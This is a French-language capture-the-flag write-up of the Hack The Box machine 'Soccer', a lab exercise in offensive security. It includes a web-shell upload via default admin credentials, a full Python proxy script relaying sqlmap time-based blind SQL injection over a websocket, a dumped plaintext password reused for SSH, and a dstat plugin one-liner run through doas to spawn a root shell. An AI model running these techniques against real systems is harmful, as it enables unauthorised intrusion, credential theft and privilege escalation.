HTB - Soccer
#Htb #Soccer #Tiny #Doas #Sqlmap #WebsocketUne box easy bien sympathique à étages, il fallait dans un premier temps énumérer pour accéder à une interface d’administration utilisant des identifiants par défaut. Ensuite découvrir une autre appli web vulnérable à une sqli mais via un websocket. Pour le flag root, une elevation de privilèges grâce doas (l’alter ego de sudo sur BSD) et le détournement d’une fonctionnalité de dstat.
Reconnaissance
Comme d’habitude, on commence par scanner l’ip fournie et inspecter les services exposés.
[x6r3g@e14 ~]$ nmap -p- --min-rate 10000 10.10.11.194
Starting Nmap 7.80 ( https://nmap.org ) at 2023-02-24 15:00 CET
Nmap scan report for 10.10.11.194
Host is up (0.049s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9091/tcp open xmltec-xmlmail
Nmap done: 1 IP address (1 host up) scanned in 6.83 seconds
[x6r3g@e14 ~]$ nmap -sCV -p 22,80,9091 10.10.11.194
Starting Nmap 7.80 ( https://nmap.org ) at 2023-02-24 15:00 CET
Nmap scan report for 10.10.11.194
Host is up (0.035s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
...
Donc on est sur une box Linux, avec du ssh, du http avec comme vhost soccer.htb (sans surprise) et un service pour l’instant inconnu sur le port 9091.
Application de management
On énumère un peu avec GoBuster pour trouver un dossier “caché”, je m’arrête sur tiny
[x6r3g@e14 ~]$ gobuster dir -w `fzf-wordlists` -u http://soccer.htb/
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://soccer.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Timeout: 10s
===============================================================
2023/02/24 15:09:18 Starting gobuster in directory enumeration mode
===============================================================
/tiny (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
Progress: 19365 / 220561 (8.78%)^C
On regarde un peu, l’interface est protégé par une page d’authentification.
En inspectant la source de la page on obtient le produit et la version. Il s’agit d’un gestionnaire de fichiers en PHP dans sa version 2.4.3 . https://tinyfilemanager.github.io/
Ces informations comptent car nous permettent d’aller faire un petit tour sur github pour rechercher les “fix” sur les releases suivantes . La version qui lui succède, la 2.4.7 , contient des correctifs de sécurité.
Donc deux fix sur cette version
l’issue 525 pour une XSS …osef, mais la 527 concerne une SSRF … un peu plus intéressante, je m’attarde dessus. Cette vulnérabilité permet d’uploader un image qui se trouverait sur le localhost, permettant de lire la cible, mais pour ça il faut déjà accéder à l’interface en tant qu’utilisateur…
Sur la page du projet sur github on trouve les utilisateurs par défaut :
Default username/password: admin/admin@123 and user/12345.
le user fonctionne et l’admin aussi.
donc la SSRF ne sert à rien pour le moment…bizarre
EDIT : en fait avec la SSRF on devait pouvoir requêter sur http://127.0.0.1:3000 et gauler le site caché http://soc-player.soccer.htb mais je vois pas comment guess le port 3000 puisque ça on le découvre via le webshell et un
netstat -ntaupeà la rigeur…
web shell
Je ne suis pas sûr que ce soit la voie attendue, mais j’upload d’un webshell via le compte admin pour reconnaissance.
Il s’avère qu’on ne pas pas uploader directement dans uploads mais en revanche on peut créer un dossier dedans et uploader dans ce sous-dossier. Donc je crée un dossier x et go upload wso.php
Une fois que j’ai un shell j’upload linpeas.sh pour une reconnaissance rapide et exhaustive.
Je finis par trouver dans la conf nginx un second site : soc-player.soccer.htb
lrwxrwxrwx 1 root root 41 Nov 17 08:39 /etc/nginx/sites-enabled/soc-player.htb -> /etc/nginx/sites-available/soc-player.htb
server {
listen 80;
listen [::]:80;
server_name soc-player.soccer.htb;
root /root/app/views;
location / {
proxy_pass http://localhost:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
soc-player.soccer.htb
Ce site a plus de fonctionnalités, on peut se connecter, voir les matchs et reserver un ticket. c’est là que sert le port 9091 vu au scan, à voir comment ça marche et qu’est ce qui catch les requêtes sur ce port. On ne peut pas accéder au code pour l’instant, puisque dans /root/app/view
On a du websocket sur le port 9091 qui vérifie la validité du ticket de foot attribué.
je creuse la piste sqli sur id.
Après quelques recherches on tombe sur un article qui parle de cette problématique : https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html . Le truc serait de pouvoir faire un sqlmap via le websocket… intérressant.
Donc il faut monter un serveur web qui ferait proxy et passerait les tests sqlmap en entrée sur le websocket proxyfié en backend.
code du PoC adapté au contexte :
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091/"
def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
Lancement du script, qui va donc nous permettre de cibler avec sqlmap http://localhost:8081 et que les requêtes soient correctement transmises derrière au websocket disponible sur http://soc-player.soccer.htb:9091
sqlmap trouve une sqli de type “time-based blind” sur le paramètre id ce qui nous permet d’accéder à la base de données soccer_db
[x6r3g@e14 ~]$ sqlmap -u "http://localhost:8081/?id=1" --batch -dbs
[11:45:30] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 97 HTTP(s) requests:
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 6070 FROM (SELECT(SLEEP(5)))pvJy)
---
[11:45:53] [INFO] the back-end DBMS is MySQL
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
On test la requête dans burp pour voir, et on a bien un sleep d’environ 5s avant le réponse du serveur.
Je pousse la reconnaissance sur la base, c’est relativement lent mais les résultats sont là puisqu’on a une table accounts intérressante
[x6r3g@e14 ~]$ sqlmap -u "http://localhost:8081/?id=1" --tables --exclude-sys
...
[14:38:57] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.9.2')
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 6070 FROM (SELECT(SLEEP(5)))pvJy)
---
[14:38:57] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[14:38:57] [INFO] fetching database names
[14:38:57] [INFO] fetching number of databases
[14:38:57] [INFO] resumed: 5
[14:38:57] [INFO] resumed: mysql
[14:38:57] [INFO] resumed: information_schema
[14:38:57] [INFO] resumed: performance_schema
[14:38:57] [INFO] resumed: sys
[14:38:57] [INFO] resumed: soccer_db
[14:38:57] [INFO] fetching tables for databases: 'information_schema, mysql, performance_schema, soccer_db, sys'
[14:38:57] [INFO] skipping system database 'performance_schema'
[14:38:57] [INFO] fetching number of tables for database 'soccer_db'
[14:38:57] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[14:39:10] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
1
[14:39:26] [INFO] retrieved:
[14:39:36] [INFO] adjusting time delay to 2 seconds due to good response times
accounts
[14:40:44] [INFO] skipping system database 'information_schema'
[14:40:44] [INFO] skipping system database 'mysql'
[14:40:44] [INFO] skipping system database 'sys'
Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+
La lecture de la table accounts nous donne un mot de passe en clair
[x6r3g@e14 ~]$ sqlmap -u "http://localhost:8081/?id=1" --dump -T accounts -D soccer_db
[15:25:17] [INFO] resuming back-end DBMS 'mysql'
[15:25:17] [INFO] testing connection to the target URL
[15:25:17] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.9.2')
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 6070 FROM (SELECT(SLEEP(5)))pvJy)
---
[15:25:17] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[15:25:17] [INFO] fetching columns for table 'accounts' in database 'soccer_db'
[15:25:17] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[15:25:43] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
4
[15:25:46] [INFO] retrieved:
[15:25:56] [INFO] adjusting time delay to 2 seconds due to good response times
id
[15:26:11] [INFO] retrieved: email
[15:26:53] [INFO] retrieved: username
[15:28:02] [INFO] retrieved: password
[15:29:19] [INFO] fetching entries for table 'accounts' in database 'soccer_db'
[15:29:19] [INFO] fetching number of entries for table 'accounts' in database 'soccer_db'
[15:29:19] [INFO] retrieved: 1
[15:29:24] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
player@player.htb
[15:32:22] [INFO] retrieved: 1324
[15:32:59] [INFO] retrieved: PlayerOftheMatch2022
[15:36:00] [INFO] retrieved: player
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player |
+------+-------------------+----------------------+----------+
Le compte player@player.htb avec le mot de passe PlayerOftheMatch2022 fonctionne sur le site, je tente une connexion ssh avec le compte player et le même mot de passe avec succès, le flag user est là.
[x6r3g@e14 ~]$ ssh player@soccer.htb
player@soccer.htb's password:
[player@soccer:~]$ ls -l
total 4
-rw-r----- 1 root player 33 Mar 2 14:47 user.txt
[player@soccer:~]$ cat user.txt
30c01ac************
ROOT
Une fois connecté avec un shell stable, début de la reconnaissance pour le flag root, j’upload LinEnum et m’en sers.
Il y a bien sudo sur la box, mais player n’a pas de droits.
### SOFTWARE #############################################
[-] Sudo version:
Sudo version 1.8.31
En revanche, il y a DOAS que je ne connaissais pas, il s’agit de l’équivalent BSD de sudo
[-] SUID files:
-rwsr-xr-x 1 root root 42224 Nov 17 09:09 /usr/local/bin/doas
La configuration de doas permet de lancer la commande dstat en tant que root.
[player@soccer:~]$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
L’utilitaire dstat intégre un système de plugin qu’on peut détourner pour obtenir un shell par exemple.
GTFOBins - dstat
Je teste directement dans le /home de player mais sans succès, ça bagote…
[player@soccer:~]$ mkdir -p ~/.dstat
[player@soccer:~]$ echo 'import os; os.execv("/bin/sh", ["sh"])' >~/.dstat/dstat_xxx.py
[player@soccer:~]$ dstat --xxx
Je vais plutôt aller le mettre dans un des chemins par défaut, /usr/local/share/dstat
[player@soccer:~]$ echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_x6r3g.py
[player@soccer:~]$ doas /usr/bin/dstat --x6r3g
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the modu...
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
8cda7*******************
=> But !